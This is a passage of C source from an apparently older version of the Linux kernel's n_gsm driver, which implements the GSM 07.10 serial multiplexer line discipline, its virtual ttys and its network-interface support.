gsm->state = GSM_DATA; break; } gsm->state = GSM_LEN1; break; case GSM_LEN1: gsm->fcs = gsm_fcs_add(gsm->fcs, c); len = c; gsm->len |= len << 7; if (gsm->len > gsm->mru) { gsm->bad_size++; gsm->state = GSM_SEARCH; break; } gsm->count = 0; if (!gsm->len) gsm->state = GSM_FCS; else gsm->state = GSM_DATA; break; case GSM_DATA: /* Data */ gsm->buf[gsm->count++] = c; if (gsm->count == gsm->len) gsm->state = GSM_FCS; break; case GSM_FCS: /* FCS follows the packet */ gsm->received_fcs = c; gsm_queue(gsm); gsm->state = GSM_SSOF; break; case GSM_SSOF: if (c == GSM0_SOF) { gsm->state = GSM_SEARCH; break; } break; } } /** * gsm1_receive - perform processing for non-transparency * @gsm: gsm data for this ldisc instance * @c: character * * Receive bytes in mode 1 (Advanced option) */ static void gsm1_receive(struct gsm_mux *gsm, unsigned char c) { if (c == GSM1_SOF) { /* EOF is only valid in frame if we have got to the data state and received at least one byte (the FCS) */ if (gsm->state == GSM_DATA && gsm->count) { /* Extract the FCS */ gsm->count--; gsm->fcs = gsm_fcs_add(gsm->fcs, gsm->buf[gsm->count]); gsm->len = gsm->count; gsm_queue(gsm); gsm->state = GSM_START; return; } /* Any partial frame was a runt so go back to start */ if (gsm->state != GSM_START) { gsm->malformed++; gsm->state = GSM_START; } /* A SOF in GSM_START means we are still reading idling or framing bytes */ return; } if (c == GSM1_ESCAPE) { gsm->escape = 1; return; } /* Only an unescaped SOF gets us out of GSM search */ if (gsm->state == GSM_SEARCH) return; if (gsm->escape) { c ^= GSM1_ESCAPE_BITS; gsm->escape = 0; } switch (gsm->state) { case GSM_START: /* First byte after SOF */ gsm->address = 0; gsm->state = GSM_ADDRESS; gsm->fcs = INIT_FCS; /* Drop through */ case GSM_ADDRESS: /* Address continuation */ gsm->fcs = gsm_fcs_add(gsm->fcs, c); if (gsm_read_ea(&gsm->address, c)) gsm->state = GSM_CONTROL; break; case GSM_CONTROL: /* Control Byte */ gsm->fcs = gsm_fcs_add(gsm->fcs, c); gsm->control = c; gsm->count = 0; gsm->state = GSM_DATA; break; case GSM_DATA: /* Data */ if (gsm->count > gsm->mru) { /* Allow one for the FCS */ gsm->state = GSM_OVERRUN; gsm->bad_size++; } else gsm->buf[gsm->count++] = c; break; case GSM_OVERRUN: /* Over-long - eg a dropped SOF */ break; } } /** * gsm_error - handle tty error * @gsm: ldisc data * @data: byte received (may be invalid) * @flag: error received * * Handle an error in the receipt of data for a frame. Currently we just * go back to hunting for a SOF. * * FIXME: better diagnostics ? */ static void gsm_error(struct gsm_mux *gsm, unsigned char data, unsigned char flag) { gsm->state = GSM_SEARCH; gsm->io_error++; } /** * gsm_cleanup_mux - generic GSM protocol cleanup * @gsm: our mux * * Clean up the bits of the mux which are the same for all framing * protocols. Remove the mux from the mux table, stop all the timers * and then shut down each device hanging up the channels as we go. */ void gsm_cleanup_mux(struct gsm_mux *gsm) { int i; struct gsm_dlci *dlci = gsm->dlci[0]; struct gsm_msg *txq; struct gsm_control *gc; gsm->dead = 1; spin_lock(&gsm_mux_lock); for (i = 0; i < MAX_MUX; i++) { if (gsm_mux[i] == gsm) { gsm_mux[i] = NULL; break; } } spin_unlock(&gsm_mux_lock); WARN_ON(i == MAX_MUX); /* In theory disconnecting DLCI 0 is sufficient but for some modems this is apparently not the case. */ if (dlci) { gc = gsm_control_send(gsm, CMD_CLD, NULL, 0); if (gc) gsm_control_wait(gsm, gc); } del_timer_sync(&gsm->t2_timer); /* Now we are sure T2 has stopped */ if (dlci) { dlci->dead = 1; gsm_dlci_begin_close(dlci); wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED); } /* Free up any link layer users */ for (i = 0; i < NUM_DLCI; i++) if (gsm->dlci[i]) gsm_dlci_release(gsm->dlci[i]); /* Now wipe the queues */ for (txq = gsm->tx_head; txq != NULL; txq = gsm->tx_head) { gsm->tx_head = txq->next; kfree(txq); } gsm->tx_tail = NULL; } EXPORT_SYMBOL_GPL(gsm_cleanup_mux); /** * gsm_activate_mux - generic GSM setup * @gsm: our mux * * Set up the bits of the mux which are the same for all framing * protocols. Add the mux to the mux table so it can be opened and * finally kick off connecting to DLCI 0 on the modem. */ int gsm_activate_mux(struct gsm_mux *gsm) { struct gsm_dlci *dlci; int i = 0; init_timer(&gsm->t2_timer); gsm->t2_timer.function = gsm_control_retransmit; gsm->t2_timer.data = (unsigned long)gsm; init_waitqueue_head(&gsm->event); spin_lock_init(&gsm->control_lock); spin_lock_init(&gsm->tx_lock); if (gsm->encoding == 0) gsm->receive = gsm0_receive; else gsm->receive = gsm1_receive; gsm->error = gsm_error; spin_lock(&gsm_mux_lock); for (i = 0; i < MAX_MUX; i++) { if (gsm_mux[i] == NULL) { gsm->num = i; gsm_mux[i] = gsm; break; } } spin_unlock(&gsm_mux_lock); if (i == MAX_MUX) return -EBUSY; dlci = gsm_dlci_alloc(gsm, 0); if (dlci == NULL) return -ENOMEM; gsm->dead = 0; /* Tty opens are now permissible */ return 0; } EXPORT_SYMBOL_GPL(gsm_activate_mux); /** * gsm_free_mux - free up a mux * @mux: mux to free * * Dispose of allocated resources for a dead mux */ void gsm_free_mux(struct gsm_mux *gsm) { kfree(gsm->txframe); kfree(gsm->buf); kfree(gsm); } EXPORT_SYMBOL_GPL(gsm_free_mux); /** * gsm_free_muxr - free up a mux * @mux: mux to free * * Dispose of allocated resources for a dead mux */ static void gsm_free_muxr(struct kref *ref) { struct gsm_mux *gsm = container_of(ref, struct gsm_mux, ref); gsm_free_mux(gsm); } static inline void mux_get(struct gsm_mux *gsm) { kref_get(&gsm->ref); } static inline void mux_put(struct gsm_mux *gsm) { kref_put(&gsm->ref, gsm_free_muxr); } /** * gsm_alloc_mux - allocate a mux * * Creates a new mux ready for activation. */ struct gsm_mux *gsm_alloc_mux(void) { struct gsm_mux *gsm = kzalloc(sizeof(struct gsm_mux), GFP_KERNEL); if (gsm == NULL) return NULL; gsm->buf = kmalloc(MAX_MRU + 1, GFP_KERNEL); if (gsm->buf == NULL) { kfree(gsm); return NULL; } gsm->txframe = kmalloc(2 * MAX_MRU + 2, GFP_KERNEL); if (gsm->txframe == NULL) { kfree(gsm->buf); kfree(gsm); return NULL; } spin_lock_init(&gsm->lock); kref_init(&gsm->ref); gsm->t1 = T1; gsm->t2 = T2; gsm->n2 = N2; gsm->ftype = UIH; gsm->adaption = 1; gsm->encoding = 1; gsm->mru = 64; /* Default to encoding 1 so these should be 64 */ gsm->mtu = 64; gsm->dead = 1; /* Avoid early tty opens */ return gsm; } EXPORT_SYMBOL_GPL(gsm_alloc_mux); /** * gsmld_output - write to link * @gsm: our mux * @data: bytes to output * @len: size * * Write a block of data from the GSM mux to the data channel. This * will eventually be serialized from above but at the moment isn't. */ static int gsmld_output(struct gsm_mux *gsm, u8 *data, int len) { if (tty_write_room(gsm->tty) < len) { set_bit(TTY_DO_WRITE_WAKEUP, &gsm->tty->flags); return -ENOSPC; } if (debug & 4) print_hex_dump_bytes("gsmld_output: ", DUMP_PREFIX_OFFSET, data, len); gsm->tty->ops->write(gsm->tty, data, len); return len; } /** * gsmld_attach_gsm - mode set up * @tty: our tty structure * @gsm: our mux * * Set up the MUX for basic mode and commence connecting to the * modem. Currently called from the line discipline set up but * will need moving to an ioctl path. */ static int gsmld_attach_gsm(struct tty_struct *tty, struct gsm_mux *gsm) { int ret, i; int base = gsm->num << 6; /* Base for this MUX */ gsm->tty = tty_kref_get(tty); gsm->output = gsmld_output; ret = gsm_activate_mux(gsm); if (ret != 0) tty_kref_put(gsm->tty); else { /* Don't register device 0 - this is the control channel and not a usable tty interface */ for (i = 1; i < NUM_DLCI; i++) tty_register_device(gsm_tty_driver, base + i, NULL); } return ret; } /** * gsmld_detach_gsm - stop doing 0710 mux * @tty: tty attached to the mux * @gsm: mux * * Shutdown and then clean up the resources used by the line discipline */ static void gsmld_detach_gsm(struct tty_struct *tty, struct gsm_mux *gsm) { int i; int base = gsm->num << 6; /* Base for this MUX */ WARN_ON(tty != gsm->tty); for (i = 1; i < NUM_DLCI; i++) tty_unregister_device(gsm_tty_driver, base + i); gsm_cleanup_mux(gsm); tty_kref_put(gsm->tty); gsm->tty = NULL; } static void gsmld_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { struct gsm_mux *gsm = tty->disc_data; const unsigned char *dp; char *f; int i; char buf[64]; char flags; if (debug & 4) print_hex_dump_bytes("gsmld_receive: ", DUMP_PREFIX_OFFSET, cp, count); for (i = count, dp = cp, f = fp; i; i--, dp++) { flags = *f++; switch (flags) { case TTY_NORMAL: gsm->receive(gsm, *dp); break; case TTY_OVERRUN: case TTY_BREAK: case TTY_PARITY: case TTY_FRAME: gsm->error(gsm, *dp, flags); break; default: WARN_ONCE("%s: unknown flag %d\n", tty_name(tty, buf), flags); break; } } /* FASYNC if needed ? */ /* If clogged call tty_throttle(tty); */ } /** * gsmld_chars_in_buffer - report available bytes * @tty: tty device * * Report the number of characters buffered to be delivered to user * at this instant in time. * * Locking: gsm lock */ static ssize_t gsmld_chars_in_buffer(struct tty_struct *tty) { return 0; } /** * gsmld_flush_buffer - clean input queue * @tty: terminal device * * Flush the input buffer. Called when the line discipline is * being closed, when the tty layer wants the buffer flushed (eg * at hangup). */ static void gsmld_flush_buffer(struct tty_struct *tty) { } /** * gsmld_close - close the ldisc for this tty * @tty: device * * Called from the terminal layer when this line discipline is * being shut down, either because of a close or becsuse of a * discipline change. The function will not be called while other * ldisc methods are in progress. */ static void gsmld_close(struct tty_struct *tty) { struct gsm_mux *gsm = tty->disc_data; gsmld_detach_gsm(tty, gsm); gsmld_flush_buffer(tty); /* Do other clean up here */ mux_put(gsm); } /** * gsmld_open - open an ldisc * @tty: terminal to open * * Called when this line discipline is being attached to the * terminal device. Can sleep. Called serialized so that no * other events will occur in parallel. No further open will occur * until a close. */ static int gsmld_open(struct tty_struct *tty) { struct gsm_mux *gsm; if (tty->ops->write == NULL) return -EINVAL; /* Attach our ldisc data */ gsm = gsm_alloc_mux(); if (gsm == NULL) return -ENOMEM; tty->disc_data = gsm; tty->receive_room = 65536; /* Attach the initial passive connection */ gsm->encoding = 1; return gsmld_attach_gsm(tty, gsm); } /** * gsmld_write_wakeup - asynchronous I/O notifier * @tty: tty device * * Required for the ptys, serial driver etc. since processes * that attach themselves to the master and rely on ASYNC * IO must be woken up */ static void gsmld_write_wakeup(struct tty_struct *tty) { struct gsm_mux *gsm = tty->disc_data; unsigned long flags; /* Queue poll */ clear_bit(TTY_DO_WRITE_WAKEUP, &tty->flags); gsm_data_kick(gsm); if (gsm->tx_bytes < TX_THRESH_LO) { spin_lock_irqsave(&gsm->tx_lock, flags); gsm_dlci_data_sweep(gsm); spin_unlock_irqrestore(&gsm->tx_lock, flags); } } /** * gsmld_read - read function for tty * @tty: tty device * @file: file object * @buf: userspace buffer pointer * @nr: size of I/O * * Perform reads for the line discipline. We are guaranteed that the * line discipline will not be closed under us but we may get multiple * parallel readers and must handle this ourselves. We may also get * a hangup. Always called in user context, may sleep. * * This code must be sure never to sleep through a hangup. */ static ssize_t gsmld_read(struct tty_struct *tty, struct file *file, unsigned char __user *buf, size_t nr) { return -EOPNOTSUPP; } /** * gsmld_write - write function for tty * @tty: tty device * @file: file object * @buf: userspace buffer pointer * @nr: size of I/O * * Called when the owner of the device wants to send a frame * itself (or some other control data). The data is transferred * as-is and must be properly framed and checksummed as appropriate * by userspace. Frames are either sent whole or not at all as this * avoids pain user side. */ static ssize_t gsmld_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr) { int space = tty_write_room(tty); if (space >= nr) return tty->ops->write(tty, buf, nr); set_bit(TTY_DO_WRITE_WAKEUP, &tty->flags); return -ENOBUFS; } /** * gsmld_poll - poll method for N_GSM0710 * @tty: terminal device * @file: file accessing it * @wait: poll table * * Called when the line discipline is asked to poll() for data or * for special events. This code is not serialized with respect to * other events save open/close. * * This code must be sure never to sleep through a hangup. * Called without the kernel lock held - fine */ static unsigned int gsmld_poll(struct tty_struct *tty, struct file *file, poll_table *wait) { unsigned int mask = 0; struct gsm_mux *gsm = tty->disc_data; poll_wait(file, &tty->read_wait, wait); poll_wait(file, &tty->write_wait, wait); if (tty_hung_up_p(file)) mask |= POLLHUP; if (!tty_is_writelocked(tty) && tty_write_room(tty) > 0) mask |= POLLOUT | POLLWRNORM; if (gsm->dead) mask |= POLLHUP; return mask; } static int gsmld_config(struct tty_struct *tty, struct gsm_mux *gsm, struct gsm_config *c) { int need_close = 0; int need_restart = 0; /* Stuff we don't support yet - UI or I frame transport, windowing */ if ((c->adaption != 1 && c->adaption != 2) || c->k) return -EOPNOTSUPP; /* Check the MRU/MTU range looks sane */ if (c->mru > MAX_MRU || c->mtu > MAX_MTU || c->mru < 8 || c->mtu < 8) return -EINVAL; if (c->n2 < 3) return -EINVAL; if (c->encapsulation > 1) /* Basic, advanced, no I */ return -EINVAL; if (c->initiator > 1) return -EINVAL; if (c->i == 0 || c->i > 2) /* UIH and UI only */ return -EINVAL; /* * See what is needed for reconfiguration */ /* Timing fields */ if (c->t1 != 0 && c->t1 != gsm->t1) need_restart = 1; if (c->t2 != 0 && c->t2 != gsm->t2) need_restart = 1; if (c->encapsulation != gsm->encoding) need_restart = 1; if (c->adaption != gsm->adaption) need_restart = 1; /* Requires care */ if (c->initiator != gsm->initiator) need_close = 1; if (c->mru != gsm->mru) need_restart = 1; if (c->mtu != gsm->mtu) need_restart = 1; /* * Close down what is needed, restart and initiate the new * configuration */ if (need_close || need_restart) { gsm_dlci_begin_close(gsm->dlci[0]); /* This will timeout if the link is down due to N2 expiring */ wait_event_interruptible(gsm->event, gsm->dlci[0]->state == DLCI_CLOSED); if (signal_pending(current)) return -EINTR; } if (need_restart) gsm_cleanup_mux(gsm); gsm->initiator = c->initiator; gsm->mru = c->mru; gsm->mtu = c->mtu; gsm->encoding = c->encapsulation; gsm->adaption = c->adaption; gsm->n2 = c->n2; if (c->i == 1) gsm->ftype = UIH; else if (c->i == 2) gsm->ftype = UI; if (c->t1) gsm->t1 = c->t1; if (c->t2) gsm->t2 = c->t2; /* FIXME: We need to separate activation/deactivation from adding and removing from the mux array */ if (need_restart) gsm_activate_mux(gsm); if (gsm->initiator && need_close) gsm_dlci_begin_open(gsm->dlci[0]); return 0; } static int gsmld_ioctl(struct tty_struct *tty, struct file *file, unsigned int cmd, unsigned long arg) { struct gsm_config c; struct gsm_mux *gsm = tty->disc_data; switch (cmd) { case GSMIOC_GETCONF: memset(&c, 0, sizeof(c)); c.adaption = gsm->adaption; c.encapsulation = gsm->encoding; c.initiator = gsm->initiator; c.t1 = gsm->t1; c.t2 = gsm->t2; c.t3 = 0; /* Not supported */ c.n2 = gsm->n2; if (gsm->ftype == UIH) c.i = 1; else c.i = 2; pr_debug("Ftype %d i %d\n", gsm->ftype, c.i); c.mru = gsm->mru; c.mtu = gsm->mtu; c.k = 0; if (copy_to_user((void *)arg, &c, sizeof(c))) return -EFAULT; return 0; case GSMIOC_SETCONF: if (copy_from_user(&c, (void *)arg, sizeof(c))) return -EFAULT; return gsmld_config(tty, gsm, &c); default: return n_tty_ioctl_helper(tty, file, cmd, arg); } } /* * Network interface * */ static int gsm_mux_net_open(struct net_device *net) { pr_debug("%s called\n", __func__); netif_start_queue(net); return 0; } static int gsm_mux_net_close(struct net_device *net) { netif_stop_queue(net); return 0; } static struct net_device_stats *gsm_mux_net_get_stats(struct net_device *net) { return &((struct gsm_mux_net *)netdev_priv(net))->stats; } static void dlci_net_free(struct gsm_dlci *dlci) { if (!dlci->net) { WARN_ON(1); return; } dlci->adaption = dlci->prev_adaption; dlci->data = dlci->prev_data; free_netdev(dlci->net); dlci->net = NULL; } static void net_free(struct kref *ref) { struct gsm_mux_net *mux_net; struct gsm_dlci *dlci; mux_net = container_of(ref, struct gsm_mux_net, ref); dlci = mux_net->dlci; if (dlci->net) { unregister_netdev(dlci->net); dlci_net_free(dlci); } } static inline void muxnet_get(struct gsm_mux_net *mux_net) { kref_get(&mux_net->ref); } static inline void muxnet_put(struct gsm_mux_net *mux_net) { kref_put(&mux_net->ref, net_free); } static int gsm_mux_net_start_xmit(struct sk_buff *skb, struct net_device *net) { struct gsm_mux_net *mux_net = (struct gsm_mux_net *)netdev_priv(net); struct gsm_dlci *dlci = mux_net->dlci; muxnet_get(mux_net); skb_queue_head(&dlci->skb_list, skb); STATS(net).tx_packets++; STATS(net).tx_bytes += skb->len; gsm_dlci_data_kick(dlci); /* And tell the kernel when the last transmit started. */ net->trans_start = jiffies; muxnet_put(mux_net); return NETDEV_TX_OK; } /* called when a packet did not ack after watchdogtimeout */ static void gsm_mux_net_tx_timeout(struct net_device *net) { /* Tell syslog we are hosed. */ dev_dbg(&net->dev, "Tx timed out.\n"); /* Update statistics */ STATS(net).tx_errors++; } static void gsm_mux_rx_netchar(struct gsm_dlci *dlci, unsigned char *in_buf, int size) { struct net_device *net = dlci->net; struct sk_buff *skb; struct gsm_mux_net *mux_net = (struct gsm_mux_net *)netdev_priv(net); muxnet_get(mux_net); /* Allocate an sk_buff */ skb = dev_alloc_skb(size + NET_IP_ALIGN); if (!skb) { /* We got no receive buffer. */ STATS(net).rx_dropped++; muxnet_put(mux_net); return; } skb_reserve(skb, NET_IP_ALIGN); memcpy(skb_put(skb, size), in_buf, size); skb->dev = net; skb->protocol = __constant_htons(ETH_P_IP); /* Ship it off to the kernel */ netif_rx(skb); /* update out statistics */ STATS(net).rx_packets++; STATS(net).rx_bytes += size; muxnet_put(mux_net); return; } int gsm_change_mtu(struct net_device *net, int new_mtu) { struct gsm_mux_net *mux_net = (struct gsm_mux_net *)netdev_priv(net); if ((new_mtu < 8) || (new_mtu > mux_net->dlci->gsm->mtu)) return -EINVAL; net->mtu = new_mtu; return 0; } static void gsm_mux_net_init(struct net_device *net) { static const struct net_device_ops gsm_netdev_ops = { .ndo_open = gsm_mux_net_open, .ndo_stop = gsm_mux_net_close, .ndo_start_xmit = gsm_mux_net_start_xmit, .ndo_tx_timeout = gsm_mux_net_tx_timeout, .ndo_get_stats = gsm_mux_net_get_stats, .ndo_change_mtu = gsm_change_mtu, }; net->netdev_ops = &gsm_netdev_ops; /* fill in the other fields */ net->watchdog_timeo = GSM_NET_TX_TIMEOUT; net->flags = IFF_POINTOPOINT | IFF_NOARP | IFF_MULTICAST; net->type = ARPHRD_NONE; net->tx_queue_len = 10; } /* caller holds the dlci mutex */ static void gsm_destroy_network(struct gsm_dlci *dlci) { struct gsm_mux_net *mux_net; pr_debug("destroy network interface"); if (!dlci->net) return; mux_net = (struct gsm_mux_net *)netdev_priv(dlci->net); muxnet_put(mux_net); } /* caller holds the dlci mutex */ static int gsm_create_network(struct gsm_dlci *dlci, struct gsm_netconfig *nc) { char *netname; int retval = 0; struct net_device *net; struct gsm_mux_net *mux_net; if (!capable(CAP_NET_ADMIN)) return -EPERM; /* Already in a non tty mode */ if (dlci->adaption > 2) return -EBUSY; if (nc->protocol != htons(ETH_P_IP)) return -EPROTONOSUPPORT; if (nc->adaption != 3 && nc->adaption != 4) return -EPROTONOSUPPORT; pr_debug("create network interface"); netname = "gsm%d"; if (nc->if_name[0] != '\0') netname = nc->if_name; net = alloc_netdev(sizeof(struct gsm_mux_net), netname, gsm_mux_net_init); if (!net) { pr_err("alloc_netdev failed"); return -ENOMEM; } net->mtu = dlci->gsm->mtu; mux_net = (struct gsm_mux_net *)netdev_priv(net); mux_net->dlci = dlci; kref_init(&mux_net->ref); strncpy(nc->if_name, net->name, IFNAMSIZ); /* return net name */ /* reconfigure dlci for network */ dlci->prev_adaption = dlci->adaption; dlci->prev_data = dlci->data; dlci->adaption = nc->adaption; dlci->data = gsm_mux_rx_netchar; dlci->net = net; pr_debug("register netdev"); retval = register_netdev(net); if (retval) { pr_err("network register fail %d\n", retval); dlci_net_free(dlci); return retval; } return net->ifindex; /* return network index */ } /* Line discipline for real tty */ struct tty_ldisc_ops tty_ldisc_packet = { .owner = THIS_MODULE, .magic = TTY_LDISC_MAGIC, .name = "n_gsm", .open = gsmld_open, .close = gsmld_close, .flush_buffer = gsmld_flush_buffer, .chars_in_buffer = gsmld_chars_in_buffer, .read = gsmld_read, .write = gsmld_write, .ioctl = gsmld_ioctl, .poll = gsmld_poll, .receive_buf = gsmld_receive_buf, .write_wakeup = gsmld_write_wakeup }; /* * Virtual tty side */ #define TX_SIZE 512 static int gsmtty_modem_update(struct gsm_dlci *dlci, u8 brk) { u8 modembits[5]; struct gsm_control *ctrl; int len = 2; if (brk) len++; modembits[0] = len << 1 | EA; /* Data bytes */ modembits[1] = dlci->addr << 2 | 3; /* DLCI, EA, 1 */ modembits[2] = gsm_encode_modem(dlci) << 1 | EA; if (brk) modembits[3] = brk << 4 | 2 | EA; /* Valid, EA */ ctrl = gsm_control_send(dlci->gsm, CMD_MSC, modembits, len + 1); if (ctrl == NULL) return -ENOMEM; return gsm_control_wait(dlci->gsm, ctrl); } static int gsm_carrier_raised(struct tty_port *port) { struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port); /* Not yet open so no carrier info */ if (dlci->state != DLCI_OPEN) return 0; if (debug & 2) return 1; return dlci->modem_rx & TIOCM_CD; } static void gsm_dtr_rts(struct tty_port *port, int onoff) { struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port); unsigned int modem_tx = dlci->modem_tx; if (onoff) modem_tx |= TIOCM_DTR | TIOCM_RTS; else modem_tx &= ~(TIOCM_DTR | TIOCM_RTS); if (modem_tx != dlci->modem_tx) { dlci->modem_tx = modem_tx; gsmtty_modem_update(dlci, 0); } } static const struct tty_port_operations gsm_port_ops = { .carrier_raised = gsm_carrier_raised, .dtr_rts = gsm_dtr_rts, }; static int gsmtty_open(struct tty_struct *tty, struct file *filp) { struct gsm_mux *gsm; struct gsm_dlci *dlci; struct tty_port *port; unsigned int line = tty->index; unsigned int mux = line >> 6; line = line & 0x3F; if (mux >= MAX_MUX) return -ENXIO; /* FIXME: we need to lock gsm_mux for lifetimes of ttys eventually */ if (gsm_mux[mux] == NULL) return -EUNATCH; if (line == 0 || line > 61) /* 62/63 reserved */ return -ECHRNG; gsm = gsm_mux[mux]; if (gsm->dead) return -EL2HLT; dlci = gsm->dlci[line]; if (dlci == NULL) dlci = gsm_dlci_alloc(gsm, line); if (dlci == NULL) return -ENOMEM; port = &dlci->port; port->count++; tty->driver_data = dlci; dlci_get(dlci); dlci_get(dlci->gsm->dlci[0]); mux_get(dlci->gsm); tty_port_tty_set(port, tty); dlci->modem_rx = 0; /* We could in theory open and close before we wait - eg if we get a DM straight back. This is ok as that will have caused a hangup */ set_bit(ASYNCB_INITIALIZED, &port->flags); /* Start sending off SABM messages */ gsm_dlci_begin_open(dlci); /* And wait for virtual carrier */ return tty_port_block_til_ready(port, tty, filp); } static void gsmtty_close(struct tty_struct *tty, struct file *filp) { struct gsm_dlci *dlci = tty->driver_data; struct gsm_mux *gsm; if (dlci == NULL) return; mutex_lock(&dlci->mutex); gsm_destroy_network(dlci); mutex_unlock(&dlci->mutex); gsm = dlci->gsm; if (tty_port_close_start(&dlci->port, tty, filp) == 0) goto out; gsm_dlci_begin_close(dlci); tty_port_close_end(&dlci->port, tty); tty_port_tty_set(&dlci->port, NULL); out: dlci_put(dlci); dlci_put(gsm->dlci[0]); mux_put(gsm); } static void gsmtty_hangup(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; tty_port_hangup(&dlci->port); gsm_dlci_begin_close(dlci); } static int gsmtty_write(struct tty_struct *tty, const unsigned char *buf, int len) { struct gsm_dlci *dlci = tty->driver_data; /* Stuff the bytes into the fifo queue */ int sent = kfifo_in_locked(dlci->fifo, buf, len, &dlci->lock); /* Need to kick the channel */ gsm_dlci_data_kick(dlci); return sent; } static int gsmtty_write_room(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; return TX_SIZE - kfifo_len(dlci->fifo); } static int gsmtty_chars_in_buffer(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; return kfifo_len(dlci->fifo); } static void gsmtty_flush_buffer(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; /* Caution needed: If we implement reliable transport classes then the data being transmitted can't simply be junked once it has first hit the stack. Until then we can just blow it away */ kfifo_reset(dlci->fifo); /* Need to unhook this DLCI from the transmit queue logic */ } static void gsmtty_wait_until_sent(struct tty_struct *tty, int timeout) { /* The FIFO handles the queue so the kernel will do the right thing waiting on chars_in_buffer before calling us. No work to do here */ } static int gsmtty_tiocmget(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; return dlci->modem_rx; } static int gsmtty_tiocmset(struct tty_struct *tty, unsigned int set, unsigned int clear) { struct gsm_dlci *dlci = tty->driver_data; unsigned int modem_tx = dlci->modem_tx; modem_tx &= ~clear; modem_tx |= set; if (modem_tx != dlci->modem_tx) { dlci->modem_tx = modem_tx; return gsmtty_modem_update(dlci, 0); } return 0; } static int gsmtty_ioctl(struct tty_struct *tty, unsigned int cmd, unsigned long arg) { struct gsm_dlci *dlci = tty->driver_data; struct gsm_netconfig nc; int index; switch (cmd) { case GSMIOC_ENABLE_NET: if (copy_from_user(&nc, (void __user *)arg, sizeof(nc))) return -EFAULT; nc.if_name[IFNAMSIZ-1] = '\0'; /* return net interface index or error code */ mutex_lock(&dlci->mutex); index = gsm_create_network(dlci, &nc); mutex_unlock(&dlci->mutex); if (copy_to_user((void __user *)arg, &nc, sizeof(nc))) return -EFAULT; return index; case GSMIOC_DISABLE_NET: if (!capable(CAP_NET_ADMIN)) return -EPERM; mutex_lock(&dlci->mutex); gsm_destroy_network(dlci); mutex_unlock(&dlci->mutex); return 0; default: return -ENOIOCTLCMD; } } static void gsmtty_set_termios(struct tty_struct *tty, struct ktermios *old) { /* For the moment its fixed. In actual fact the speed information for the virtual channel can be propogated in both directions by the RPN control message. This however rapidly gets nasty as we then have to remap modem signals each way according to whether our virtual cable is null modem etc .. */ tty_termios_copy_hw(tty->termios, old); } static void gsmtty_throttle(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; if (tty->termios->c_cflag & CRTSCTS) dlci->modem_tx &= ~TIOCM_DTR; dlci->throttled = 1; /* Send an MSC with DTR cleared */ gsmtty_modem_update(dlci, 0); } static void gsmtty_unthrottle(struct tty_struct *tty) { struct gsm_dlci *dlci = tty->driver_data; if (tty->termios->c_cflag & CRTSCTS) dlci->modem_tx |= TIOCM_DTR; dlci->throttled = 0; /* Send an MSC with DTR set */ gsmtty_modem_update(dlci, 0); } static int gsmtty_break_ctl(struct tty_struct *tty, int state) { struct gsm_dlci *dlci = tty->driver_data; int encode = 0; /* Off */ if (state == -1) /* "On indefinitely" - we can't encode this properly */ encode = 0x0F; else if (state > 0) { encode = state / 200; /* mS to encoding */ if (encode > 0x0F) encode = 0x0F; /* Best effort */ } return gsmtty_modem_update(dlci, encode); } /* Virtual ttys for the demux */ static const struct tty_operations gsmtty_ops = { .open = gsmtty_open, .close = gsmtty_close, .write = gsmtty_write, .write_room = gsmtty_write_room, .chars_in_buffer = gsmtty_chars_in_buffer, .flush_buffer = gsmtty_flush_buffer, .ioctl = gsmtty_ioctl, .throttle = gsmtty_throttle, .unthrottle = gsmtty_unthrottle, .set_termios = gsmtty_set_termios, .hangup = gsmtty_hangup, .wait_until_sent = gsmtty_wait_until_sent, .tiocmget = gsmtty_tiocmget, .tiocmset = gsmtty_tiocmset, .break_ctl = gsmtty_break_ctl, }; static int __init gsm_init(void) { /* Fill in our line protocol discipline, and register it */ int status = tty_register_ldisc(N_GSM0710, &tty_ldisc_packet); if (status != 0) { pr_err("n_gsm: can't register line discipline (err = %d)\n", status); return status; } gsm_tty_driver = alloc_tty_driver(256); if (!gsm_tty_driver) { tty_unregister_ldisc(N_GSM0710); pr_err("gsm_init: tty allocation failed.\n"); return -EINVAL; } gsm_tty_driver->driver_name = "gsmtty"; gsm_tty_driver->name = "gsmtty"; gsm_tty_driver->major = 0; /* Dynamic */ gsm_tty_driver->minor_start = 0; gsm_tty_driver->type = TTY_DRIVER_TYPE_SERIAL; gsm_tty_driver->subtype = SERIAL_TYPE_NORMAL; gsm_tty_driver->flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_DYNAMIC_DEV | TTY_DRIVER_HARDWARE_BREAK; gsm_tty_driver->init_termios = tty_std_termios; /* Fixme */ gsm_tty_driver->init_termios.c_lflag &= ~ECHO; tty_set_operations(gsm_tty_driver, &gsmtty_ops); spin_lock_init(&gsm_mux_lock); if (tty_register_driver(gsm_tty_driver)) { put_tty_driver(gsm_tty_driver); tty_unregister_ldisc(N_GSM0710); pr_err("gsm_init: tty registration failed.\n"); return -EBUSY; } pr_debug("gsm_init: loaded as %d,%d.\n", gsm_tty_driver->major, gsm_tty_driver->minor_start); return 0; } static void __exit gsm_exit(void) { int status = tty_unregister_ldisc(N_GSM0710); if (status != 0) pr_err("n_gsm: can't unregister line discipline (err = %d)\n", status); tty_unregister_driver(gsm_tty_driver); put_tty_driver(gsm_tty_driver); } module_init(gsm_init); module_exit(gsm_exit); MODULE_LICENSE("GPL"); MODULE_ALIAS_LDISC(N_GSM0710);
jiangchao87/m8uhl
drivers/tty/n_gsm.c
C
gpl-2.0
78,735
